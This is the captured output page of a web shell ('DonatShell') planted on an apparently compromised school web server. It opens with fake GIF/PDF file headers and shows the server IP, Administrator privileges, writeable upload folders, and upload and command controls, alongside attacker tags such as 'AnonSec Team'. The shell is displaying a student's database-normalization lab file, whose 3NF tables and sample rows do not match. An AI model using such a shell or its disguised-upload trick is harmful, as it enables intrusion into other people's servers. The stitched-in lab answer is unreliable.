GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20253/CST1600/41/16917479/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20253/CST1600/41/16917479/Lab08/YasminAhmed-Lab08.txt
UNF:
employeework (employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)

1NF:
2NF:
3NF:
All data rows:

Business logic:
• If an employee is unmarried, no data is entered in the spouse Name, spouseSSN, or spouseIsInsured fields.
• If an employee works on a project multiple times in one day, the hours worked are totaled and only the total hours worked is entered (There will be only one entry per project/date).
• Each project code is unique.

Designate primary keys, foreign keys, and unique fields with:
* (asterisk) to denote a primary key field.
@ (at sign) to denote a foreign key field. Append [table.field] if the table and field a foreign key points to is not obvious.
^ (caret) to denote a unique field that is not a primary key.


UNF (Unnormalized Form):
employeework (employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)

projectWork:
- code
- name
- date
- hoursWorked

1NF Tables:

Employees (employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured)
Projects (projectCode*, projectName)
EmployeeProjects (employeeId*, projectCode*, date, hoursWorked)

2NF:

Employees (employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured)
Projects (projectCode*, projectName)
EmployeeProjects (employeeId*, projectCode*, date, hoursWorked)

3NF Tables:

Employees (employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured)
Projects (projectCode*, projectName)
EmployeeProjects (employeeId*, projectCode*, date, hoursWorked)
Spouses (spouseSSN*, spouseName, spouseIsInsured)


All Data Rows (3NF Tables):
Employees:
employeeId	name			SSN				spouseSSN
101			John Doe		123-45-6789		987-65-4321
102			Jane Smith		987-65-4321		NULL

Spouses:
spouseSSN	 spouseName	 spouseIsInsured
987-65-4321	 Mary Doe	  Yes

Projects:
projectCode		projectName
P001			Build Website
P002			Data Migration

EmployeeProjects:
employeeId	projectCode			     date			hoursWorked
101				P001				2024-11-19		  8
101				P002				2024-11-19		  4
102				P001				2024-11-20		  6

Anon7 - 2022
AnonSec Team